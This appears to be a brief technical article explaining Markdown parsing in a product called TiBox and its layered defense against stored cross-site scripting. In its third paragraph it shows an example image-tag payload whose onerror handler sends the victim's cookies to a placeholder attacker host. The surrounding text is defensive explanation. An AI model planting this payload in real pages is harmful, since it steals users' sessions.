Markdown Parsing Architecture: Abstract Syntax Trees, HTML Sanitization & XSS Defense

Markdown, conceived by John Gruber in 2004 and formalized under the CommonMark specification, is the undisputed lingua franca for technical documentation, README files, and collaborative developer platforms.

However, the Markdown specification explicitly allows raw HTML tags to pass through parser implementations untouched. This intentional design feature represents one of the most perilous attack vectors in web software: Stored Cross-Site Scripting (XSS).

An attacker who submits a Markdown comment or documentation string containing: ```html <img src="x" onerror="fetch('https://attacker.site/steal?cookie=' + document.cookie)" /> ``` can compromise administrative sessions if the Markdown renderer outputs raw HTML into the DOM without strict multi-stage sanitization.

TiBox implements a defense-in-depth architecture for Markdown processing: 1. **AST Tokenization**: The Markdown string is parsed into an Abstract Syntax Tree (AST), ensuring nested blockquotes, tables, and fenced code blocks strictly conform to CommonMark rules. 2. **DOM-Level Whitelist Filtering**: The generated HTML string is filtered through a strict DOMPurify pipeline configured to strip dangerous attributes (such as `onerror`, `onload`, and `javascript:` URIs) while preserving clean semantic tags (`h1-h6`, `p`, `code`, `pre`, `table`).